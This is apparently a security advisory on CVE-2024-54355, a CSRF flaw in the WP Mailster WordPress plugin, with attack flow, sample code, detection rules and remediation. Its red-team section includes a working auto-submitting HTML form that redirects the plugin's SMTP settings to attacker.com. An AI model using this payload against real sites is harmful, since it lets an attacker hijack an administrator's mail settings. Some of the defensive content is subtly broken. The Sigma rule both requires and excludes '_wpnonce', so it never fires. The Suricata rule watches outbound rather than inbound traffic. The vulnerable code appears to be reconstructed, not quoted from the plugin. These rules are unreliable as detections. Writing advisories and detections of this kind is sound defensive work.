CVE-2024-54355

Executive Summary

CVE-2024-54355 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the WP Mailster WordPress plugin, versions up to and including 1.8.17.0. This vulnerability allows an attacker to perform unauthorized actions on behalf of an authenticated administrator, such as modifying plugin settings or triggering email operations, without the victim’s consent. The attack requires social engineering to trick a logged-in admin into visiting a malicious page. The CVSS score is 4.3 (Medium), and no public exploit code or patch is currently available. As a WordPress ecosystem issue, this vulnerability does not affect the underlying web server (Apache/Nginx) but directly targets the plugin’s lack of CSRF protection.

Supply Chain & Package Security

This vulnerability is specific to the WP Mailster WordPress plugin, which is distributed via the WordPress plugin repository and third-party marketplaces. No supply chain compromise has been reported, but the absence of a patch increases the risk of exploitation in unmaintained installations.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. Exploitation requires user interaction (e.g., clicking a link) and only affects integrity (e.g., changing plugin settings). No data breach or service disruption is directly possible.

Deep Dive & Mechanics

The vulnerability stems from the absence of CSRF nonces or tokens in critical administrative actions within the WP Mailster plugin. When an authenticated WordPress administrator performs actions like saving settings, sending test emails, or managing mailing lists, the plugin does not verify that the request originated from the legitimate admin interface. An attacker can craft a malicious HTML page or email that, when visited by an admin, triggers a forged request to the vulnerable endpoint.

Attack Flow:

1. Attacker identifies a logged-in WP Mailster admin.
2. Attacker crafts a CSRF payload (e.g., an image tag or form) targeting a sensitive action like wp-admin/admin-post.php?action=wp_mailster_save_settings.
3. Victim admin visits the malicious page while authenticated.
4. The forged request executes, altering plugin settings (e.g., changing SMTP credentials or enabling debug mode).

Root Cause: Missing CSRF token validation in functions like wp_mailster_save_settings() and wp_mailster_send_test().

Vulnerable vs. Patched Code

Vulnerable Code (<= 1.8.17.0):

// No CSRF check
function wp_mailster_save_settings() {
    update_option('wp_mailster_settings', $_POST);
    wp_redirect(admin_url('admin.php?page=wp-mailster-settings'));
}

Patched Code (Hypothetical):

function wp_mailster_save_settings() {
    // Verify CSRF nonce
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'wp_mailster_save_settings')) {
        wp_die('CSRF validation failed.');
    }
    update_option('wp_mailster_settings', $_POST);
    wp_redirect(admin_url('admin.php?page=wp-mailster-settings'));
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress site with WP Mailster <= 1.8.17.0 installed.
• An authenticated admin session (victim).

CSRF Payload Example:

<html>
<body>
<form action="http://target/wp-admin/admin-post.php" method="POST" id="csrf_form">
    <input type="hidden" name="action" value="wp_mailster_save_settings">
    <input type="hidden" name="smtp_host" value="attacker.com">
    <input type="hidden" name="smtp_port" value="25">
</form>
<script>document.getElementById('csrf_form').submit();</script>
</body>
</html>

Steps:

1. Host the above HTML on an attacker-controlled server.
2. Send a phishing email to the admin with a link to the malicious page.
3. Once the admin clicks and the page loads, the form auto-submits, changing SMTP settings to attacker-controlled values.

Blue Team (Defense & Detection)

Detection:

• Monitor for unexpected changes to WP Mailster settings via audit logs.
• Look for HTTP requests to /wp-admin/admin-post.php with action=wp_mailster_* parameters originating from unusual referrers.

Prevention:

• Implement a Web Application Firewall (WAF) rule to block requests to admin-post.php without a valid _wpnonce parameter.
• Enforce strict Content Security Policy (CSP) headers to prevent form auto-submission from external origins.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /wp-admin/admin-post.php with action=wp_mailster_* and no _wpnonce parameter.
  • Referrer headers from domains not matching the WordPress admin URL.
• Host:
  • Modified wp_mailster_settings option in the database (check via SELECT * FROM wp_options WHERE option_name = 'wp_mailster_settings').
  • Unexpected SMTP server entries in plugin settings.
• Logs:
  • WordPress debug log entries showing wp_mailster_save_settings without nonce validation.

Detection Engineering

YARA Rule

rule CVE_2024_54355_CSRF_WP_Mailster {
    meta:
        description = "Detects CSRF exploitation attempts against WP Mailster plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-54355"
    strings:
        $csrf_action = "action=wp_mailster_" ascii wide nocase
        $admin_post = "admin-post.php" ascii wide nocase
    condition:
        $csrf_action and $admin_post
}

Sigma Rule

title: CVE-2024-54355 WP Mailster CSRF Exploitation
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests targeting WP Mailster admin actions without CSRF nonce
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-post.php'
        cs-uri-query|contains: 'action=wp_mailster_'
        cs-uri-query|contains: '_wpnonce'
    condition: selection and not cs-uri-query|contains: '_wpnonce'
falsepositives:
    - Legitimate plugin updates with nonce (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-54355 WP Mailster CSRF Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-post.php"; http_uri;
    content:"action=wp_mailster_"; http_client_body;
    pcre:"/action=wp_mailster_[a-z_]+/";
    sid:1000001;
    rev:1;
    reference:cve,2024-54355;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical, or restrict access to the admin panel via IP whitelisting.
2. Apply a virtual patch using a WAF to block requests to admin-post.php without a valid _wpnonce parameter.
3. Monitor logs for unauthorized changes to plugin settings.

Long-Term Fix:

• The vendor must release a patched version (>= 1.8.17.1) that implements CSRF nonce verification for all admin actions.
• Until then, consider migrating to an alternative email plugin with active security maintenance.

Workaround:

• Add the following code to the theme's functions.php to enforce CSRF checks (use with caution):

add_action('admin_post_wp_mailster_save_settings', function() {
    if (!wp_verify_nonce($_POST['_wpnonce'], 'wp_mailster_save_settings')) {
        wp_die('CSRF detected.');
    }
}, 1);

Valters IT
DevSecOps & Cyber Threat Intelligence